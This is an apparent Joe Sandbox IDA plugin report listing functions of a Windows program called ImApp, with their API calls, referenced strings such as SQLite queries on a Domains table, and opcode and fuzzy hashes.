Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#1476#6161#6735#774
String ID:
API String ID: 1194475144-0
Opcode ID: 3f3c17d3645269bfd7452dc6248b87771bc1f20d13db228459c4b824efff43bf
Instruction ID: 8f1fd566103863579c74357e3e013e938a7fd3af464672e1654ed3a57f0316b2
Opcode Fuzzy Hash: 3f3c17d3645269bfd7452dc6248b87771bc1f20d13db228459c4b824efff43bf
Instruction Fuzzy Hash: 8F31ACB5448341DFC304DF14D448B9EF7E4FB94324F108B2DE9A6826D0DB38A558DB52

Function 020DE190 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

#4074.MFC80U(265105E4,?,?,020EB782,000000FF), ref: 020DE1BF
#6161.MFC80U(?,?,020EB782,000000FF), ref: 020DE1C9
#6161.MFC80U(?,?,020EB782,000000FF), ref: 020DE1D3
#578.MFC80U(?,?,020EB782,000000FF), ref: 020DE1F7
#578.MFC80U(?,?,020EB782,000000FF), ref: 020DE209
#578.MFC80U(?,?,?,?,?,?,?,?,020EB782,000000FF), ref: 020DE276
#578.MFC80U(?,?,?,?,?,?,?,?,020EB782,000000FF), ref: 020DE288

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#6161$#4074
String ID:
API String ID: 1536711686-0
Opcode ID: cba31c8a7880afcbd6ee347a87b2f70c165ba8dba730b9a1e3453da45ad03df0
Instruction ID: 42d9e73bb5ac8d629c0a380740bb2530e556a99799b285499fb5df7613926aee
Opcode Fuzzy Hash: cba31c8a7880afcbd6ee347a87b2f70c165ba8dba730b9a1e3453da45ad03df0
Instruction Fuzzy Hash: 99314875248342CFC704CF18D894BAAB7E1FB98310F048A1DF596873E0DB75A94ACB96

Function 020E9A20 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 72COMMON

Download Yara Rule

APIs

memset.MSVCR80 ref: 020E9A9F
memset.MSVCR80 ref: 020E9B56
#214.IMLOOKEXU(00000002,?,?,00000000,00000098), ref: 020E9B7B

Strings

DomainName, xrefs: 020E9AE1
@, xrefs: 020E9AD6
@, xrefs: 020E9A4F

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: memset$#214
String ID: @$@$DomainName
API String ID: 1191653919-1105946366
Opcode ID: 4eb18d8544792be6b8831bb3957ef832f64bd3bad01ce29f2925fb2f49aa2280
Instruction ID: c4ddd72cd9bb8dc0c638c5462e8ac80d31db1460e84dff8f3817f3a8320ad6d2
Opcode Fuzzy Hash: 4eb18d8544792be6b8831bb3957ef832f64bd3bad01ce29f2925fb2f49aa2280
Instruction Fuzzy Hash: 6C319EB19293909AC370CF19C5816CBFBF8BF99754F405A1EF2C886250D7B58549CB8B

Function 00415FE0 Relevance: 10.6, APIs: 7, Instructions: 69COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00416007
#314.MFC80U(00000000,FC8A6036), ref: 00416011
#782.IMUTILSU(00000001,?,?,?,?,?,?,?,?,?,?,?,?,00420618,000000FF), ref: 00416020
#621.IMUTILSU(00000001,?,?,?,?,?,?,?,?,?,?,?,?,00420618,000000FF), ref: 00416027
IsWindow.USER32(?), ref: 0041603E
#1139.IMLOOKU(00000001,?,?,?,?,?,?,?,?,?,?,?,?,00420618,000000FF), ref: 0041604C
#6751.MFC80U(00000000,?), ref: 004160A0

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#1139#314#621#6751#782Window
String ID:
API String ID: 129253681-0
Opcode ID: 53604aa4b7ee44f4f9a8f1bb02dd88bf3562c627887be1ad8b0dec30b6d7a319
Instruction ID: eb75b66af4569250b339114ed89939118216bf1407c4515fb19eac6c1e322cee
Opcode Fuzzy Hash: 53604aa4b7ee44f4f9a8f1bb02dd88bf3562c627887be1ad8b0dec30b6d7a319
Instruction Fuzzy Hash: DB21F3713047009FC724EF29C801BABBBE4FB88714F004A1EF495872C1DB79E8848799

Function 03271A00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetRgnBox.GDI32(?,?), ref: 03271A12

Part of subcall function 03271120: memset.MSVCR80 ref: 03271184

CreateCompatibleDC.GDI32(00000000), ref: 03271A4E
SelectObject.GDI32(00000000,?), ref: 03271A63

Part of subcall function 032715D0: CreateRectRgnIndirect.GDI32(?), ref: 03271648
Part of subcall function 032715D0: SelectClipRgn.GDI32(?,00000000), ref: 0327165B
Part of subcall function 032715D0: DeleteObject.GDI32(00000000), ref: 03271687

SelectObject.GDI32(00000000,00000000), ref: 03271A76
DeleteDC.GDI32(00000000), ref: 03271A79

Strings

@Ls, xrefs: 03271A4E

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: ObjectSelect$CreateDelete$ClipCompatibleIndirectRectmemset
String ID: @Ls
API String ID: 2538517203-4225762999
Opcode ID: 2fd34588bbf73c834fac7969effb2b556bb7b68a1381bfec5fa657447d1516aa
Instruction ID: fe73169e371a2775a32e71c92096c460195c9c722a9b8741bb1071aab012af60
Opcode Fuzzy Hash: 2fd34588bbf73c834fac7969effb2b556bb7b68a1381bfec5fa657447d1516aa
Instruction Fuzzy Hash: F8013C76204700AB8314EB59E884D7BB3E9FFCC650B004A1DF54983200DA71F91587B6

Function 10001710 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

#776.MFC80U(?,DC7F1836,?,?,?,?,1000AB4B,000000FF), ref: 1000173D
#675.IMUTILSU(?,?,?,Flags,SqLiteNativeLock,?,00000001,?,?,?,?,1000AB4B,000000FF), ref: 1000175C
#1428.IMUTILSU(?,?,?,Flags,SqLiteNativeLock,?,00000001,?,?,?,?,1000AB4B,000000FF), ref: 10001763
#762.MFC80U(00000030,?,?,?,?,?,?,?,Flags,SqLiteNativeLock,?,00000001), ref: 10001777

Part of subcall function 100094C0: #310.MFC80U(DC7F1836,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100094F3
Part of subcall function 100094C0: #310.MFC80U(?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009506
Part of subcall function 100094C0: #310.MFC80U(?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009516
Part of subcall function 100094C0: #310.MFC80U(?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009524
Part of subcall function 100094C0: #310.MFC80U(?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009532
Part of subcall function 100094C0: CreateEventW.KERNEL32(00000000,00000001,00000000,?,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009556
Part of subcall function 100094C0: CreateEventW.KERNEL32(00000000,00000000,00000001,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009564
Part of subcall function 100094C0: CreateMutexW.KERNEL32(00000000,00000000,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009577
Part of subcall function 100094C0: CreateMutexW.KERNEL32(00000000,00000000,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009584
Part of subcall function 100094C0: TlsAlloc.KERNEL32(?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009593
Part of subcall function 100094C0: CloseHandle.KERNEL32(?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100095C9
Part of subcall function 100094C0: CloseHandle.KERNEL32(?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100095CF
Part of subcall function 100094C0: CloseHandle.KERNEL32(?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100095D5
Part of subcall function 100094C0: CloseHandle.KERNEL32(?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100095DB
Part of subcall function 100094C0: CloseHandle.KERNEL32(?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 100095E1

Strings

Flags, xrefs: 1000174F
SqLiteNativeLock, xrefs: 1000174A

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #310CloseHandle$Create$EventMutex$#1428#675#762#776Alloc
String ID: Flags$SqLiteNativeLock
API String ID: 3672436602-2633804124
Opcode ID: 05ec8a95758a763c4f3c22d662fec0bfaa91ee68c2022aac6ca7e9155d03fb1b
Instruction ID: 092ef9c3e5be8236cda43af34decceab98939c4d9f85944a9ac3f83e2ebc753e
Opcode Fuzzy Hash: 05ec8a95758a763c4f3c22d662fec0bfaa91ee68c2022aac6ca7e9155d03fb1b
Instruction Fuzzy Hash: 93111CB55487409FF360CF24C845F9BB7E8FB857A0F004A2EF599962C5E774A504CB92

Function 00415360 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

#6700.MFC80U(FC8A6036,?,?,?,?,?,0042049A,000000FF), ref: 00415394
#299.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153A1
#2896.MFC80U(?,?,?,?,?,0042049A,000000FF), ref: 004153B9
#3391.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153C2
#2896.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153CB
#3391.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153D4
#1479.MFC80U(?,00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153DC

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #2896#3391$#1479#299#6700
String ID:
API String ID: 762273085-0
Opcode ID: 7264c12e9911a9c6d6e14a8422992c3fbb51194649b1a1a503d2eb015ed2c000
Instruction ID: 6bc6f0e38a65f2e521a865b664ac800ee0f572d3ba8eaf185862f7e1a1e3fad1
Opcode Fuzzy Hash: 7264c12e9911a9c6d6e14a8422992c3fbb51194649b1a1a503d2eb015ed2c000
Instruction Fuzzy Hash: 68110076304200AFC715EF59DD48A2EB7E9FB8C611F800A2DF516C3350CB7499058B66

Function 020DC030 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

#6735.MFC80U(?,265105E4,?,?,?,?,020ECAC9,000000FF), ref: 020DC05E

Part of subcall function 020DCA50: #6160.MFC80U(020F9BE8,265105E4,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA78
Part of subcall function 020DCA50: #5524.MFC80U(00000040,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA82
Part of subcall function 020DCA50: #4100.MFC80U(?,-00000001,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA97
Part of subcall function 020DCA50: #774.MFC80U(?,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAAC
Part of subcall function 020DCA50: #6167.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAB4
Part of subcall function 020DCA50: #578.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAC6

#10.IMDBU(DELETE FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,?,?,020ECAC9,000000FF), ref: 020DC08C
#8.IMDBU(DELETE FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,DELETE FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,?,?,020ECAC9,000000FF), ref: 020DC0A0
#578.MFC80U(DELETE FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,?,?,020ECAC9,000000FF), ref: 020DC0B6

Strings

DomainName, xrefs: 020DC07D
DELETE FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE, xrefs: 020DC085, 020DC099

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#4100#5524#6160#6167#6735#774
String ID: DELETE FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE$DomainName
API String ID: 1279797185-4144576792
Opcode ID: c30c77141130dd25d0cf630e8a6732e13d363fff4d9daac56852e8419bf1d858
Instruction ID: aa76833224e6a0955f2e0d25f6dd734d83e8d8fad499b02de4ad42a1e87246dc
Opcode Fuzzy Hash: c30c77141130dd25d0cf630e8a6732e13d363fff4d9daac56852e8419bf1d858
Instruction Fuzzy Hash: 5E01C4762947409FE300CF14DC41F9BB7E9FB88B20F104A1EFA5693690DB79A945CB92

Function 100025C0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

#310.MFC80U(DC7F1836,00000000,?,00000000,1000B4A9,000000FF,?,?,?,?,?,1000B5D9,000000FF), ref: 100025E8
#2311.MFC80U(00000000,CREATE %s VIEW IF NOT EXISTS %s AS %s,TEMP,?,?,?,00000000,1000B4A9,000000FF,?,?,?,?,?,1000B5D9,000000FF), ref: 1000261C
#8.IMDBU(?,00000000,00000000), ref: 10002630
#578.MFC80U(?,?,?,?,?,?,?,?,?,1000B5D9,000000FF), ref: 10002643

Strings

CREATE %s VIEW IF NOT EXISTS %s AS %s, xrefs: 10002616
TEMP, xrefs: 100025FB, 10002611

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #2311#310#578
String ID: CREATE %s VIEW IF NOT EXISTS %s AS %s$TEMP
API String ID: 1584812125-2406227654
Opcode ID: 6ff7446fb753a189127071001ac8c5767d4f0c267c0ae44f157bab6f16779a69
Instruction ID: 06d4832b2aa07e0e54d719c007ad492fede2efef93991c0c9e2528d7db5246e1
Opcode Fuzzy Hash: 6ff7446fb753a189127071001ac8c5767d4f0c267c0ae44f157bab6f16779a69
Instruction Fuzzy Hash: 80016DB5108755AFE314CF08CC85F9BB7E8EB887A4F004A1EF49693394DB74A904CB96

Function 100022F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

#310.MFC80U(DC7F1836,?,?,?,1000B4A9,000000FF), ref: 10002318
#2311.MFC80U(?,CREATE %s TABLE IF NOT EXISTS %s(%s),TEMP,?,?,?,?,?,?,?,?,?,?,1000B4A9,000000FF), ref: 1000234C
#8.IMDBU(?,00000000,00000000), ref: 10002360
#578.MFC80U(?,?,?,?,?,?,?,?,?,1000B4A9,000000FF), ref: 10002373

Strings

TEMP, xrefs: 1000232B, 10002341
CREATE %s TABLE IF NOT EXISTS %s(%s), xrefs: 10002346

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #2311#310#578
String ID: CREATE %s TABLE IF NOT EXISTS %s(%s)$TEMP
API String ID: 1584812125-3485174328
Opcode ID: b065c7bcb77041bc34552f8081d2ded1b7cb45ebf10cb8d02b7ab107fc564374
Instruction ID: 3a7fc1181185995950d0a618b55d34f224818061103a2d33eb40ab32c8b6106c
Opcode Fuzzy Hash: b065c7bcb77041bc34552f8081d2ded1b7cb45ebf10cb8d02b7ab107fc564374
Instruction Fuzzy Hash: E2016DB5108755AFE314CF08CC45F9BB7E8EB887A0F004A1EF49693394DB74AA04CB96

Function 0040F930 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 43COMMON

Download Yara Rule

APIs

#899.IMUTILSU(?,?,?,?,?,?,?,?,?,FC8A6036,?,?,?,0041F988,000000FF), ref: 0040F9BB

Part of subcall function 0040C720: #105.IMUTILSU(?,?,?,?,?,?,?,?,?,?,000000FE), ref: 0040C765

Strings

`_B, xrefs: 0040F981
_B, xrefs: 0040F973
8`B, xrefs: 0040F965
8_B, xrefs: 0040F988
p`B, xrefs: 0040F95E

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #105#899
String ID: 8_B$8`B$`_B$p`B$_B
API String ID: 3087701291-1320292250
Opcode ID: 62b2fc2c229d9a9e7132140765a3e4b504ca07c396b3192acbac3955e23c23b2
Instruction ID: c7f8307318fda9e3bd1a80e5c11fda849088243c9f57ffc234495d0e9ed7aade
Opcode Fuzzy Hash: 62b2fc2c229d9a9e7132140765a3e4b504ca07c396b3192acbac3955e23c23b2
Instruction Fuzzy Hash: A3110DB0205B609FC320DF05E544707BBE4FF49728F918A1EE0964BB50D7B9A508CF99

Function 0041B880 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 0041B895
#675.IMUTILSU(00000000,MPCheckInterval,?,00000E10,00000001,00000000), ref: 0041B8BE
#1409.IMUTILSU(00000000,MPCheckInterval,?,00000E10,00000001,00000000), ref: 0041B8C5
SetTimer.USER32(00000000,000003E7,?,00000000), ref: 0041B8E0
GetDesktopWindow.USER32 ref: 0041B8EE

Strings

MPCheckInterval, xrefs: 0041B8AF

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: Timer$#1409#675DesktopKillWindow
String ID: MPCheckInterval
API String ID: 1582696799-2831412764
Opcode ID: 6eff6b33653ea27d8accbdde24167119aa16424c650024cfc898c129654a70f3
Instruction ID: 65c7f0a02e3e8a58c3ba27a0c55add39d110e1bb0e444db546200a10cae6baee
Opcode Fuzzy Hash: 6eff6b33653ea27d8accbdde24167119aa16424c650024cfc898c129654a70f3
Instruction Fuzzy Hash: 970169B1354300ABE320EB70DD46FAB72D8FB88B05F00491EB285AA1C1DAB8E9418758

Function 0040F550 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 39COMMON

Download Yara Rule

APIs

#899.IMUTILSU(00000000,FC8A6036,00000000,00000000,00000000,0041F928,000000FF,004115C8,?,00412CA2,00000001), ref: 0040F5DB

Part of subcall function 0040C720: #105.IMUTILSU(?,?,?,?,?,?,?,?,?,?,000000FE), ref: 0040C765

Strings

h[B, xrefs: 0040F5C4
\B, xrefs: 0040F58C
H]B, xrefs: 0040F57E
8\B, xrefs: 0040F5A1
\\B, xrefs: 0040F59A

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #105#899
String ID: 8\B$H]B$\\B$h[B$\B
API String ID: 3087701291-1932718396
Opcode ID: e9ec798506ee45fc220132cf069a3f08406dfe69b9f5dc9484295caced8381ff
Instruction ID: 78517e1fbe99f889b60ec8ca8c8cf3cedf8109c2cbb57097b8dd83349b946edc
Opcode Fuzzy Hash: e9ec798506ee45fc220132cf069a3f08406dfe69b9f5dc9484295caced8381ff
Instruction Fuzzy Hash: 381118B0215F609FC320DF05E54861BBBE4FB04728F90CA1EA0A65BB50D3B8A1088B9D

Function 00414500 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

#1359.IMUTILSU(?,ImLc.exe,00000001,FC8A6036,?,?,004202C9,000000FF), ref: 0041452D
#3391.MFC80U(00000000,00000000,0000000A,?,?,?,?,?,?,004202C9,000000FF), ref: 00414545
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 00414553
#578.MFC80U(?,?,?,?,?,?,004202C9,000000FF), ref: 00414565

Strings

ImLc.exe, xrefs: 00414527
open, xrefs: 0041454C

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1359#3391#578ExecuteShell
String ID: ImLc.exe$open
API String ID: 1103868209-2178983499
Opcode ID: 280d90cb98a0aeaf20ea2d7eec96dcab9871c9ffce605c415b6fec6719bc5357
Instruction ID: 61d02b488ffc16ef95dc85392c746b153b915fb6fea4fb316334f036f8cc1547
Opcode Fuzzy Hash: 280d90cb98a0aeaf20ea2d7eec96dcab9871c9ffce605c415b6fec6719bc5357
Instruction Fuzzy Hash: B6F0CD76388340BFE314EF10DD0AF567BE4FB44B20F900A2EF551862E0DBB89500CA5A

Function 020CC180 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 27COMMON

Download Yara Rule

APIs

#10.IMDBU(UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,020CBFF9,00000000,?,?,00000000,020CE5B5,?,00000000,00000000,?,?), ref: 020CC193
#9.IMDBU(UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,IsApproved,00000000,UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,020CBFF9,00000000,?,?,00000000,020CE5B5,?,00000000,00000000), ref: 020CC1B2
#8.IMDBU(UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,IsApproved,00000000,UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,020CBFF9,00000000,?,?,00000000,020CE5B5), ref: 020CC1C6

Strings

UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE, xrefs: 020CC18C, 020CC1AB, 020CC1BF
DomainName, xrefs: 020CC184
IsApproved, xrefs: 020CC1A6

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

